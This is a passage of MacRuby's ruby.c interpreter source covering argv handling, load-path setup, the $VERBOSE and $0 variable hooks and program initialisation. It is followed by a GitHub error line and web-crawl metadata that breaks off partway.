len += strlen(v1[i]) + 1;
}
v2 = malloc((n + 1)* sizeof(char*) + len);
assert(v2 != NULL);
p = (char *)&v2[n + 1];
for (i = 0; i < n; ++i) {
int l = strlen(v1[i]);
memcpy(p, v1[i], l + 1);
v2[i] = p;
p += l + 1;
}
v2[n] = 0;
*argv = v2;
#if !defined(MACRUBY_STATIC)
origarg.argc = *argc;
origarg.argv = *argv;
# if !defined(PSTAT_SETCMD) && !defined(HAVE_SETPROCTITLE)
origarg.len = get_arglen(origarg.argc, origarg.argv);
# endif
#endif
}
void
ruby_init_loadpath(void)
{
#if !defined(MACRUBY_STATIC)
VALUE load_path;
#if defined LOAD_RELATIVE
char libpath[MAXPATHLEN + 1];
char *p;
int rest;
libpath[sizeof(libpath) - 1] = '\0';
p = strrchr(libpath, '/');
if (p) {
*p = 0;
if (p - libpath > 3 && !STRCASECMP(p - 4, "/bin")) {
p -= 4;
*p = 0;
}
}
else {
strcpy(libpath, ".");
p = libpath + 1;
}
rest = sizeof(libpath) - 1 - (p - libpath);
#define RUBY_RELATIVE(path) (strncpy(p, (path), rest), libpath)
#else
#define RUBY_RELATIVE(path) (path)
#endif
#define incpush(path) rb_ary_push(load_path, rubylib_mangled_path2(path))
load_path = rb_vm_load_path();
if (rb_safe_level() == 0) {
ruby_incpush(getenv("RUBYLIB"));
}
#ifdef RUBY_SEARCH_PATH
incpush(RUBY_RELATIVE(RUBY_SEARCH_PATH));
#endif
incpush(RUBY_RELATIVE(RUBY_SITE_LIB2));
#ifdef RUBY_SITE_THIN_ARCHLIB
incpush(RUBY_RELATIVE(RUBY_SITE_THIN_ARCHLIB));
#endif
incpush(RUBY_RELATIVE(RUBY_SITE_ARCHLIB));
incpush(RUBY_RELATIVE(RUBY_SITE_LIB));
incpush(RUBY_RELATIVE(RUBY_VENDOR_LIB2));
#ifdef RUBY_VENDOR_THIN_ARCHLIB
incpush(RUBY_RELATIVE(RUBY_VENDOR_THIN_ARCHLIB));
#endif
incpush(RUBY_RELATIVE(RUBY_VENDOR_ARCHLIB));
incpush(RUBY_RELATIVE(RUBY_VENDOR_LIB));
incpush(RUBY_RELATIVE(RUBY_LIB));
#ifdef RUBY_THIN_ARCHLIB
incpush(RUBY_RELATIVE(RUBY_THIN_ARCHLIB));
#endif
incpush(RUBY_RELATIVE(RUBY_ARCHLIB));
if (rb_safe_level() == 0) {
incpush(".");
}
#endif // !MACRUBY_STATIC
}
void
ruby_set_argv(int argc, char **argv)
{
int i;
VALUE av = rb_argv;
rb_ary_clear(av);
for (i = 0; i < argc; i++) {
VALUE arg = rb_tainted_str_new2(argv[i]);
OBJ_FREEZE(arg);
rb_ary_push(av, arg);
}
}
void
ruby_script(const char *name)
{
if (name != NULL) {
GC_RELEASE(rb_progname);
rb_progname = rb_tainted_str_new2(name);
GC_RETAIN(rb_progname);
}
}
static void
verbose_setter(VALUE val, ID id, VALUE *variable)
{
ruby_verbose = RTEST(val) ? Qtrue : val;
}
static VALUE
opt_W_getter(VALUE val, ID id)
{
if (ruby_verbose == Qnil) {
return INT2FIX(0);
}
if (ruby_verbose == Qfalse) {
return INT2FIX(1);
}
if (ruby_verbose == Qtrue) {
return INT2FIX(2);
}
return Qnil; // not reached
}
static void
set_arg0(VALUE val, ID id)
{
#if MACRUBY_STATIC
rb_raise(rb_eRuntimeError,
"changing program name is not supported in MacRuby static");
#else
const char *s;
long i;
if (origarg.argv == 0) {
rb_raise(rb_eRuntimeError, "$0 not initialized");
}
StringValue(val);
s = RSTRING_PTR(val);
i = RSTRING_LEN(val);
#if defined(PSTAT_SETCMD)
if (i > PST_CLEN) {
union pstun un;
char buf[PST_CLEN + 1]; /* PST_CLEN is 64 (HP-UX 11.23) */
strncpy(buf, s, PST_CLEN);
buf[PST_CLEN] = '\0';
un.pst_command = buf;
pstat(PSTAT_SETCMD, un, PST_CLEN, 0, 0);
}
else {
union pstun un;
un.pst_command = s;
pstat(PSTAT_SETCMD, un, i, 0, 0);
}
#elif defined(HAVE_SETPROCTITLE)
setproctitle("%.*s", (int)i, s);
#else
if (i >= origarg.len) {
i = origarg.len;
}
memcpy(origarg.argv[0], s, i);
{
int j;
char *t = origarg.argv[0] + i;
*t = '\0';
if (i + 1 < origarg.len) memset(t + 1, ' ', origarg.len - i - 1);
for (j = 1; j < origarg.argc; j++) {
origarg.argv[j] = t;
}
}
#endif
GC_RELEASE(rb_progname);
rb_progname = rb_tainted_str_new(s, i);
GC_RETAIN(rb_progname);
#endif // !MACRUBY_STATIC
}
void
ruby_prog_init(void)
{
init_ids();
rb_define_hooked_variable("$VERBOSE", &ruby_verbose, 0, verbose_setter);
rb_define_hooked_variable("$-v", &ruby_verbose, 0, verbose_setter);
rb_define_hooked_variable("$-w", &ruby_verbose, 0, verbose_setter);
rb_define_virtual_variable("$-W", opt_W_getter, rb_gvar_readonly_setter);
rb_define_variable("$DEBUG", &ruby_debug);
rb_define_variable("$-d", &ruby_debug);
rb_define_hooked_variable("$0", &rb_progname, 0, set_arg0);
rb_define_hooked_variable("$PROGRAM_NAME", &rb_progname, 0, set_arg0);
rb_define_global_const("ARGV", rb_argv);
rb_vm_set_running(true);
}
Something went wrong with that request. Please try again. | {
"url": "https://github.com/MacRuby/MacRuby/blob/eefae4a348945a9340bf5a70f9c0b15ab69fa9e1/ruby.c",
"source_domain": "github.com",
"snapshot_id": "crawl=CC-MAIN-2016-18",
"warc_metadata": {
"Content-Length": "424545",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:O4DGHN57T4VBXRAVBI2X56PTQF5LYL6T",
"WARC-Concurrent-To": "<urn:uuid:d4cdcbc7-d9ce-46cc-984e-977c0f74b18a>",
"WARC-Date": "2016-05-02T07:02:04Z",
"WARC-IP-Address": "192.30.252.123",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:I5JZ4YKFMQP3XEOIUDH3KMF6HCFIEUT3",
"WARC-Record-ID": "<urn:uuid:45bdc8f0-94d8-4ea5-852c-e686d50828ad>",
"WARC-Target-URI": "https://github.com/MacRuby/MacRuby/blob/eefae4a348945a9340bf5a70f9c0b15ab69fa9e1/ruby.c",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:164723d5-1538-4559-ab7e-37c15224d555>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-239-7-51.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-18\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
16,
39,
81,
112,
115,
189,
191,
252,
311,
356,
424,
492,
495,
514,
537,
556,
576,
595,
618,
648,
671,
698,
715,
731,
753,
776,
798,
814,
821,
844,
871,
900,
939,
972,
1007,
1039,
1065,
1098,
1110,
1125,
1127,
1148,
1171,
1192,
1215,
1258,
1280,
1282,
1284,
1313,
1349,
1392,
1433,
1475,
1522,
1547,
1561,
1578,
1581,
1622,
1644,
1656,
1659,
1684,
1702,
1725,
1748,
1773,
1784,
1797,
1812,
1834,
1847,
1860,
1879,
1899,
1918,
1934,
1943,
1952,
1964,
1982,
1989,
2001,
2004,
2031,
2041,
2054,
2083,
2086,
2162,
2202,
2218,
2228,
2241,
2299,
2308,
2315,
2326,
2338,
2362,
2364,
2413,
2481,
2522,
2582,
2637,
2661,
2722,
2769,
2846,
2915,
2963,
3041,
3114,
3150,
3211,
3266,
3329,
3393,
3451,
3488,
3542,
3581,
3654,
3733,
3768,
3799,
3804,
3807,
3841,
3912,
3923,
3946,
3948,
3978,
4037,
4095,
4102,
4142,
4184,
4196,
4251,
4253,
4285,
4304,
4341,
4351,
4364,
4384,
4389,
4391,
4402,
4409,
4411,
4458,
4525,
4532,
4534,
4536,
4541,
4601,
4603,
4623,
4651,
4653,
4655,
4668,
4695,
4697,
4710,
4712,
4717,
4748,
4750,
4791,
4793,
4806,
4838,
4840,
4875,
4885,
4898,
4900,
4932,
4945,
4947,
4987,
4989,
4994,
5032,
5034,
5080,
5082,
5124,
5136,
5165,
5167,
5188,
5212,
5278,
5280,
5345,
5384,
5404,
5406,
5434,
5469,
5474,
5501,
5503,
5529,
5541,
5549,
5551,
5564,
5624,
5648,
5658,
5670,
5684,
5707,
5739,
5804,
5863,
5911,
5913,
5934,
5936,
5938,
5950,
5993,
5995,
6013,
6024,
6046,
6068,
6075,
6091,
6123,
6152,
6161,
6182,
6199,
6206,
6211,
6244,
6251,
6262,
6314,
6341,
6358,
6371,
6391,
6398,
6400,
6417,
6433,
6435,
6473,
6494,
6510,
6562,
6591,
6622,
6624,
6631,
6668,
6670,
6707,
6774,
6776,
6778,
6790,
6804,
6831,
6846,
6856,
6858,
6860,
6877,
6879,
6905,
6919,
6939,
6941,
6943,
6959,
6961,
7006,
7059,
7136,
7150,
7207,
7209,
7219,
7234,
7253,
7263,
7286,
7313,
7318,
7355,
7373,
7405,
7432,
7463,
7489,
7494,
7512,
7514,
7553,
7612,
7654,
7692,
7726,
7736,
7738,
7778,
7816,
7849,
7859,
7861,
7873,
7924,
7926,
8003,
8029,
8058,
8095,
8122,
8130,
8132,
8192,
8194,
8206,
8258,
8260,
8333,
8357,
8384,
8421,
8449,
8457,
8459,
8520,
8522,
8534,
8583,
8585,
8652,
8674,
8735,
8737,
8748,
8813,
8815,
8836,
8851,
8866,
8876,
8925,
8963,
8970,
8987,
8997,
9011,
9021,
9044,
9049,
9064,
9074,
9097,
9111,
9121,
9143,
9148,
9163,
9173,
9193,
9215,
9220,
9235,
9245,
9263,
9268,
9283,
9293,
9313,
9318,
9333,
9335,
9356,
9374,
9384,
9406,
9411,
9426,
9436,
9438,
9453,
9480,
9492,
9521,
9538,
9545,
9558,
9560,
9573,
9581,
9602,
9609,
9617,
9640,
9647,
9656,
9678,
9685,
9687,
9689,
9704,
9714,
9737,
9742,
9757,
9767,
9787,
9803,
9808,
9823,
9833,
9857,
9880,
9887,
9897,
9919,
9941,
9946,
9961,
9971,
9991,
10015,
10020,
10035,
10045,
10065,
10085,
10098,
10106,
10114,
10116,
10133,
10189,
10191,
10217,
10254,
10281,
10301,
10303,
10305,
10336,
10370,
10377,
10387,
10407,
10427,
10443,
10445,
10465,
10487,
10495,
10503,
10505,
10512,
10522,
10542,
10572,
10579,
10589,
10609,
10614,
10640,
10674,
10676,
10683,
10693,
10703,
10708,
10719,
10732,
10748,
10750,
10767,
10792,
10794,
10814,
10848,
10850,
10857,
10867,
10879,
10916,
10918,
10925,
10935,
10966,
10981,
10991,
11003,
11029,
11043,
11063,
11084,
11091,
11111,
11137,
11144,
11164,
11184,
11191,
11231,
11256,
11263,
11265,
11281,
11324,
11363,
11365,
11370,
11372,
11387,
11397,
11399,
11414,
11425,
11437,
11466,
11483,
11490,
11503,
11505,
11527,
11529,
11544,
11554,
11574,
11584,
11608,
11628,
11658,
11674,
11676,
11683,
11693,
11695,
11710,
11717,
11725,
11754,
11767,
11781,
11795,
11829,
11858,
11860,
11867,
11881,
11908,
11910,
11912,
11927,
11937,
11977,
11993,
12010,
12012,
12017,
12052,
12072,
12074,
12110,
12130,
12152,
12154,
12199,
12240,
12300,
12361,
12363,
12413,
12415,
12461,
12502,
12562,
12624,
12626,
12677,
12679,
12752,
12760,
12773,
12788,
12821,
12884,
12886,
12888,
12898,
12934,
12936,
12974,
12992,
12994,
13032,
13050,
13072,
13074,
13112,
13130,
13132,
13201,
13275,
13320,
13322,
13357,
13381,
13404,
13406,
13446,
13506,
13562,
13575,
13591,
13618,
13691,
13693,
13734,
13777,
13806,
13837,
13853,
13869,
13871,
13909,
13969,
14025,
14038,
14054,
14081,
14150,
14152,
14185,
14219,
14249,
14251,
14305,
14321,
14323,
14364,
14424,
14480,
14493,
14509,
14536,
14596,
14598,
14645,
14680,
14696,
14698,
14705,
14732,
14788,
14790,
14797,
14808,
14819,
14826,
14835,
14837,
14856,
14883,
14934,
14959,
14961,
14968,
14995,
15051,
15076,
15078,
15080,
15097,
15105,
15112,
15114,
15116,
15128,
15149,
15151,
15176,
15188,
15215,
15217,
15225,
15227,
15248,
15277,
15279,
15334,
15353,
15410,
15434,
15436,
15448,
15450,
15466,
15500,
15513,
15540,
15542,
15608,
15649,
15672,
15698,
15714,
15728,
15753,
15768,
15791,
15830,
15840,
15851,
15862,
15908,
15959,
15999,
16039,
16059,
16064,
16115,
16130,
16141,
16156,
16161,
16173,
16202,
16219,
16226,
16228,
16250,
16252,
16259,
16277,
16294,
16299,
16318,
16323,
16328,
16351,
16361,
16363,
16365,
16374,
16381,
16410,
16437,
16476,
16502,
16504,
16506,
16524,
16558,
16576,
16610,
16612,
16637,
16655,
16657,
16677,
16698,
16712,
16714,
16736,
16759,
16761,
16789,
16809,
16839,
16841,
16863,
16899,
16917,
16931,
16950,
16952,
16959,
16982,
17012,
17031,
17033,
17060,
17093,
17110,
17122,
17188,
17190,
17210,
17288,
17290,
17308,
17331,
17333,
17341,
17349,
17351,
17353,
17379,
17431,
17476,
17503,
17523,
17545,
17569,
17597,
17650,
17679,
17705,
17761,
17791,
17843,
17845,
17875,
17927,
17960,
17962,
17994,
18018,
18020,
18027,
18039,
18041,
18097,
18128,
18149,
18168,
18200,
18225,
18227,
18234,
18247,
18249,
18272,
18344,
18346,
18353,
18401,
18443,
18445,
18492,
18494,
18520,
18540,
18556,
18584,
18604,
18634,
18636,
18657,
18680,
18694,
18696,
18717,
18762,
18764,
18784,
18856,
18858,
18878,
18880,
18894,
18949,
18978,
18980,
19003,
19012,
19032,
19048,
19066,
19087,
19108,
19110,
19141,
19155,
19157,
19164,
19189,
19225,
19246,
19248,
19283,
19285,
19299,
19336,
19348,
19357,
19394,
19431,
19449,
19469,
19490,
19532,
19546,
19587,
19613,
19634,
19658,
19700,
19717,
19719,
19721,
19723,
19781,
19783,
19808,
19833,
19858,
19883,
19908,
19927,
19937,
19939,
19991,
20031,
20044,
20056,
20068,
20094,
20127,
20160,
20184,
20209,
20211,
20235,
20243,
20245,
20259,
20293,
20298,
20300,
20333,
20368,
20373,
20375,
20388,
20404,
20447,
20460,
20518,
20520,
20527,
20548,
20550,
20566,
20585,
20618,
20620,
20632,
20640,
20685,
20731,
20763,
20802,
20834,
20836,
20870,
20903,
20923,
20953,
20955,
20957,
21015,
21055,
21057,
21079,
21102,
21104,
21138,
21177,
21229,
21262,
21264,
21303,
21355,
21357,
21359,
21381,
21404,
21406,
21455,
21457,
21489,
21513,
21515,
21522,
21550,
21552,
21621,
21667,
21702,
21704,
21730,
21746,
21748,
21761,
21763,
21770,
21802,
21804,
21832,
21855,
21887,
21938,
21940,
21998,
22072,
22102,
22109,
22138,
22161,
22168,
22179,
22213,
22215,
22234,
22241,
22262,
22278,
22334,
22363,
22387,
22392,
22433,
22435,
22442,
22449,
22451,
22453,
22488,
22524,
22540,
22571,
22598,
22603,
22644,
22646,
22648,
22700,
22702,
22709,
22729,
22731,
22738,
22750,
22778,
22780,
22799,
22869,
22871,
22890,
22960,
22962,
22989,
23054,
23056,
23058,
23071,
23089,
23091,
23106,
23108,
23121,
23138,
23140,
23154,
23156,
23204,
23276,
23283,
23327,
23329,
23361,
23390,
23402,
23480,
23553,
23575,
23622,
23646,
23667,
23686,
23705,
23722,
23755,
23780,
23825,
23878,
23911,
23931,
23981,
24030,
24080,
24113,
24126,
24128,
24154,
24159,
24197,
24199,
24226,
24255,
24281,
24307,
24309,
24352,
24372,
24396,
24422,
24445,
24470,
24481,
24493,
24495,
24506,
24518,
24547,
24569,
24591,
24650,
24704,
24712,
24719,
24721,
24726,
24751,
24753,
24782,
24799,
24825,
24855,
24864,
24874,
24911,
24938,
24947,
24955,
25008,
25016,
25024,
25026,
25028,
25035,
25057,
25074,
25076,
25120,
25184,
25190,
25225,
25232,
25306,
25337,
25365,
25398,
25400,
25424,
25466,
25473,
25513,
25543,
25591,
25598,
25641,
25680,
25722,
25754,
25804,
25811,
25856,
25897,
25931,
25956,
25999,
26006,
26044,
26072,
26086,
26088,
26114,
26116,
26121,
26158,
26160,
26167,
26187,
26205,
26234,
26276,
26293,
26315,
26317,
26319,
26324,
26354,
26356,
26376,
26401,
26442,
26466,
26468,
26470,
26482,
26532,
26534,
26575,
26577,
26590,
26621,
26623,
26651,
26670,
26672,
26702,
26721,
26723,
26752,
26771,
26773,
26801,
26803,
26815,
26842,
26844,
26863,
26890,
26951,
26957,
26972,
26980,
27005,
27055,
27057,
27075,
27097,
27119,
27145,
27165,
27181,
27240,
27267,
27289,
27311,
27352,
27354,
27361,
27377,
27397,
27431,
27433,
27466,
27499,
27505,
27529,
27546,
27548,
27579,
27581,
27588,
27619,
27630,
27696,
27733,
27754,
27756,
27758,
27765,
27790,
27830,
27854,
27880,
27882,
27887,
27908,
27910,
27922,
27995,
28063,
28131,
28205,
28248,
28288,
28348,
28419,
28460,
28485,
28487
],
"line_end_idx": [
16,
39,
81,
112,
115,
189,
191,
252,
311,
356,
424,
492,
495,
514,
537,
556,
576,
595,
618,
648,
671,
698,
715,
731,
753,
776,
798,
814,
821,
844,
871,
900,
939,
972,
1007,
1039,
1065,
1098,
1110,
1125,
1127,
1148,
1171,
1192,
1215,
1258,
1280,
1282,
1284,
1313,
1349,
1392,
1433,
1475,
1522,
1547,
1561,
1578,
1581,
1622,
1644,
1656,
1659,
1684,
1702,
1725,
1748,
1773,
1784,
1797,
1812,
1834,
1847,
1860,
1879,
1899,
1918,
1934,
1943,
1952,
1964,
1982,
1989,
2001,
2004,
2031,
2041,
2054,
2083,
2086,
2162,
2202,
2218,
2228,
2241,
2299,
2308,
2315,
2326,
2338,
2362,
2364,
2413,
2481,
2522,
2582,
2637,
2661,
2722,
2769,
2846,
2915,
2963,
3041,
3114,
3150,
3211,
3266,
3329,
3393,
3451,
3488,
3542,
3581,
3654,
3733,
3768,
3799,
3804,
3807,
3841,
3912,
3923,
3946,
3948,
3978,
4037,
4095,
4102,
4142,
4184,
4196,
4251,
4253,
4285,
4304,
4341,
4351,
4364,
4384,
4389,
4391,
4402,
4409,
4411,
4458,
4525,
4532,
4534,
4536,
4541,
4601,
4603,
4623,
4651,
4653,
4655,
4668,
4695,
4697,
4710,
4712,
4717,
4748,
4750,
4791,
4793,
4806,
4838,
4840,
4875,
4885,
4898,
4900,
4932,
4945,
4947,
4987,
4989,
4994,
5032,
5034,
5080,
5082,
5124,
5136,
5165,
5167,
5188,
5212,
5278,
5280,
5345,
5384,
5404,
5406,
5434,
5469,
5474,
5501,
5503,
5529,
5541,
5549,
5551,
5564,
5624,
5648,
5658,
5670,
5684,
5707,
5739,
5804,
5863,
5911,
5913,
5934,
5936,
5938,
5950,
5993,
5995,
6013,
6024,
6046,
6068,
6075,
6091,
6123,
6152,
6161,
6182,
6199,
6206,
6211,
6244,
6251,
6262,
6314,
6341,
6358,
6371,
6391,
6398,
6400,
6417,
6433,
6435,
6473,
6494,
6510,
6562,
6591,
6622,
6624,
6631,
6668,
6670,
6707,
6774,
6776,
6778,
6790,
6804,
6831,
6846,
6856,
6858,
6860,
6877,
6879,
6905,
6919,
6939,
6941,
6943,
6959,
6961,
7006,
7059,
7136,
7150,
7207,
7209,
7219,
7234,
7253,
7263,
7286,
7313,
7318,
7355,
7373,
7405,
7432,
7463,
7489,
7494,
7512,
7514,
7553,
7612,
7654,
7692,
7726,
7736,
7738,
7778,
7816,
7849,
7859,
7861,
7873,
7924,
7926,
8003,
8029,
8058,
8095,
8122,
8130,
8132,
8192,
8194,
8206,
8258,
8260,
8333,
8357,
8384,
8421,
8449,
8457,
8459,
8520,
8522,
8534,
8583,
8585,
8652,
8674,
8735,
8737,
8748,
8813,
8815,
8836,
8851,
8866,
8876,
8925,
8963,
8970,
8987,
8997,
9011,
9021,
9044,
9049,
9064,
9074,
9097,
9111,
9121,
9143,
9148,
9163,
9173,
9193,
9215,
9220,
9235,
9245,
9263,
9268,
9283,
9293,
9313,
9318,
9333,
9335,
9356,
9374,
9384,
9406,
9411,
9426,
9436,
9438,
9453,
9480,
9492,
9521,
9538,
9545,
9558,
9560,
9573,
9581,
9602,
9609,
9617,
9640,
9647,
9656,
9678,
9685,
9687,
9689,
9704,
9714,
9737,
9742,
9757,
9767,
9787,
9803,
9808,
9823,
9833,
9857,
9880,
9887,
9897,
9919,
9941,
9946,
9961,
9971,
9991,
10015,
10020,
10035,
10045,
10065,
10085,
10098,
10106,
10114,
10116,
10133,
10189,
10191,
10217,
10254,
10281,
10301,
10303,
10305,
10336,
10370,
10377,
10387,
10407,
10427,
10443,
10445,
10465,
10487,
10495,
10503,
10505,
10512,
10522,
10542,
10572,
10579,
10589,
10609,
10614,
10640,
10674,
10676,
10683,
10693,
10703,
10708,
10719,
10732,
10748,
10750,
10767,
10792,
10794,
10814,
10848,
10850,
10857,
10867,
10879,
10916,
10918,
10925,
10935,
10966,
10981,
10991,
11003,
11029,
11043,
11063,
11084,
11091,
11111,
11137,
11144,
11164,
11184,
11191,
11231,
11256,
11263,
11265,
11281,
11324,
11363,
11365,
11370,
11372,
11387,
11397,
11399,
11414,
11425,
11437,
11466,
11483,
11490,
11503,
11505,
11527,
11529,
11544,
11554,
11574,
11584,
11608,
11628,
11658,
11674,
11676,
11683,
11693,
11695,
11710,
11717,
11725,
11754,
11767,
11781,
11795,
11829,
11858,
11860,
11867,
11881,
11908,
11910,
11912,
11927,
11937,
11977,
11993,
12010,
12012,
12017,
12052,
12072,
12074,
12110,
12130,
12152,
12154,
12199,
12240,
12300,
12361,
12363,
12413,
12415,
12461,
12502,
12562,
12624,
12626,
12677,
12679,
12752,
12760,
12773,
12788,
12821,
12884,
12886,
12888,
12898,
12934,
12936,
12974,
12992,
12994,
13032,
13050,
13072,
13074,
13112,
13130,
13132,
13201,
13275,
13320,
13322,
13357,
13381,
13404,
13406,
13446,
13506,
13562,
13575,
13591,
13618,
13691,
13693,
13734,
13777,
13806,
13837,
13853,
13869,
13871,
13909,
13969,
14025,
14038,
14054,
14081,
14150,
14152,
14185,
14219,
14249,
14251,
14305,
14321,
14323,
14364,
14424,
14480,
14493,
14509,
14536,
14596,
14598,
14645,
14680,
14696,
14698,
14705,
14732,
14788,
14790,
14797,
14808,
14819,
14826,
14835,
14837,
14856,
14883,
14934,
14959,
14961,
14968,
14995,
15051,
15076,
15078,
15080,
15097,
15105,
15112,
15114,
15116,
15128,
15149,
15151,
15176,
15188,
15215,
15217,
15225,
15227,
15248,
15277,
15279,
15334,
15353,
15410,
15434,
15436,
15448,
15450,
15466,
15500,
15513,
15540,
15542,
15608,
15649,
15672,
15698,
15714,
15728,
15753,
15768,
15791,
15830,
15840,
15851,
15862,
15908,
15959,
15999,
16039,
16059,
16064,
16115,
16130,
16141,
16156,
16161,
16173,
16202,
16219,
16226,
16228,
16250,
16252,
16259,
16277,
16294,
16299,
16318,
16323,
16328,
16351,
16361,
16363,
16365,
16374,
16381,
16410,
16437,
16476,
16502,
16504,
16506,
16524,
16558,
16576,
16610,
16612,
16637,
16655,
16657,
16677,
16698,
16712,
16714,
16736,
16759,
16761,
16789,
16809,
16839,
16841,
16863,
16899,
16917,
16931,
16950,
16952,
16959,
16982,
17012,
17031,
17033,
17060,
17093,
17110,
17122,
17188,
17190,
17210,
17288,
17290,
17308,
17331,
17333,
17341,
17349,
17351,
17353,
17379,
17431,
17476,
17503,
17523,
17545,
17569,
17597,
17650,
17679,
17705,
17761,
17791,
17843,
17845,
17875,
17927,
17960,
17962,
17994,
18018,
18020,
18027,
18039,
18041,
18097,
18128,
18149,
18168,
18200,
18225,
18227,
18234,
18247,
18249,
18272,
18344,
18346,
18353,
18401,
18443,
18445,
18492,
18494,
18520,
18540,
18556,
18584,
18604,
18634,
18636,
18657,
18680,
18694,
18696,
18717,
18762,
18764,
18784,
18856,
18858,
18878,
18880,
18894,
18949,
18978,
18980,
19003,
19012,
19032,
19048,
19066,
19087,
19108,
19110,
19141,
19155,
19157,
19164,
19189,
19225,
19246,
19248,
19283,
19285,
19299,
19336,
19348,
19357,
19394,
19431,
19449,
19469,
19490,
19532,
19546,
19587,
19613,
19634,
19658,
19700,
19717,
19719,
19721,
19723,
19781,
19783,
19808,
19833,
19858,
19883,
19908,
19927,
19937,
19939,
19991,
20031,
20044,
20056,
20068,
20094,
20127,
20160,
20184,
20209,
20211,
20235,
20243,
20245,
20259,
20293,
20298,
20300,
20333,
20368,
20373,
20375,
20388,
20404,
20447,
20460,
20518,
20520,
20527,
20548,
20550,
20566,
20585,
20618,
20620,
20632,
20640,
20685,
20731,
20763,
20802,
20834,
20836,
20870,
20903,
20923,
20953,
20955,
20957,
21015,
21055,
21057,
21079,
21102,
21104,
21138,
21177,
21229,
21262,
21264,
21303,
21355,
21357,
21359,
21381,
21404,
21406,
21455,
21457,
21489,
21513,
21515,
21522,
21550,
21552,
21621,
21667,
21702,
21704,
21730,
21746,
21748,
21761,
21763,
21770,
21802,
21804,
21832,
21855,
21887,
21938,
21940,
21998,
22072,
22102,
22109,
22138,
22161,
22168,
22179,
22213,
22215,
22234,
22241,
22262,
22278,
22334,
22363,
22387,
22392,
22433,
22435,
22442,
22449,
22451,
22453,
22488,
22524,
22540,
22571,
22598,
22603,
22644,
22646,
22648,
22700,
22702,
22709,
22729,
22731,
22738,
22750,
22778,
22780,
22799,
22869,
22871,
22890,
22960,
22962,
22989,
23054,
23056,
23058,
23071,
23089,
23091,
23106,
23108,
23121,
23138,
23140,
23154,
23156,
23204,
23276,
23283,
23327,
23329,
23361,
23390,
23402,
23480,
23553,
23575,
23622,
23646,
23667,
23686,
23705,
23722,
23755,
23780,
23825,
23878,
23911,
23931,
23981,
24030,
24080,
24113,
24126,
24128,
24154,
24159,
24197,
24199,
24226,
24255,
24281,
24307,
24309,
24352,
24372,
24396,
24422,
24445,
24470,
24481,
24493,
24495,
24506,
24518,
24547,
24569,
24591,
24650,
24704,
24712,
24719,
24721,
24726,
24751,
24753,
24782,
24799,
24825,
24855,
24864,
24874,
24911,
24938,
24947,
24955,
25008,
25016,
25024,
25026,
25028,
25035,
25057,
25074,
25076,
25120,
25184,
25190,
25225,
25232,
25306,
25337,
25365,
25398,
25400,
25424,
25466,
25473,
25513,
25543,
25591,
25598,
25641,
25680,
25722,
25754,
25804,
25811,
25856,
25897,
25931,
25956,
25999,
26006,
26044,
26072,
26086,
26088,
26114,
26116,
26121,
26158,
26160,
26167,
26187,
26205,
26234,
26276,
26293,
26315,
26317,
26319,
26324,
26354,
26356,
26376,
26401,
26442,
26466,
26468,
26470,
26482,
26532,
26534,
26575,
26577,
26590,
26621,
26623,
26651,
26670,
26672,
26702,
26721,
26723,
26752,
26771,
26773,
26801,
26803,
26815,
26842,
26844,
26863,
26890,
26951,
26957,
26972,
26980,
27005,
27055,
27057,
27075,
27097,
27119,
27145,
27165,
27181,
27240,
27267,
27289,
27311,
27352,
27354,
27361,
27377,
27397,
27431,
27433,
27466,
27499,
27505,
27529,
27546,
27548,
27579,
27581,
27588,
27619,
27630,
27696,
27733,
27754,
27756,
27758,
27765,
27790,
27830,
27854,
27880,
27882,
27887,
27908,
27910,
27922,
27995,
28063,
28131,
28205,
28248,
28288,
28348,
28419,
28460,
28485,
28487,
28544
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 28544,
"ccnet_original_nlines": 1304,
"rps_doc_curly_bracket": 0.014714130200445652,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.12652258574962616,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04007859155535698,
"rps_doc_frac_lines_end_with_ellipsis": 0.0007662799907848239,
"rps_doc_frac_no_alph_words": 0.5423706769943237,
"rps_doc_frac_unique_words": 0.2877984046936035,
"rps_doc_mean_word_length": 6.019894123077393,
"rps_doc_num_sentences": 224,
"rps_doc_symbol_to_word_ratio": 0.010740010067820549,
"rps_doc_unigram_entropy": 5.673943996429443,
"rps_doc_word_count": 3016,
"rps_doc_frac_chars_dupe_10grams": 0.04659616947174072,
"rps_doc_frac_chars_dupe_5grams": 0.12838731706142426,
"rps_doc_frac_chars_dupe_6grams": 0.10167437791824341,
"rps_doc_frac_chars_dupe_7grams": 0.07567746192216873,
"rps_doc_frac_chars_dupe_8grams": 0.06201807036995888,
"rps_doc_frac_chars_dupe_9grams": 0.058272749185562134,
"rps_doc_frac_chars_top_2gram": 0.007270319852977991,
"rps_doc_frac_chars_top_3gram": 0.011456269770860672,
"rps_doc_frac_chars_top_4gram": 0.009363300167024136,
"rps_doc_books_importance": -3287.915771484375,
"rps_doc_books_importance_length_correction": -3287.915771484375,
"rps_doc_openwebtext_importance": -1932.2738037109375,
"rps_doc_openwebtext_importance_length_correction": -1932.2738037109375,
"rps_doc_wikipedia_importance": -1451.733642578125,
"rps_doc_wikipedia_importance_length_correction": -1451.733642578125
},
"fasttext": {
"dclm": 0.9954296350479126,
"english": 0.20085221529006958,
"fineweb_edu_approx": 2.978259801864624,
"eai_general_math": 0.7926819920539856,
"eai_open_web_math": 0.23550474643707275,
"eai_web_code": 0.6341419219970703
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
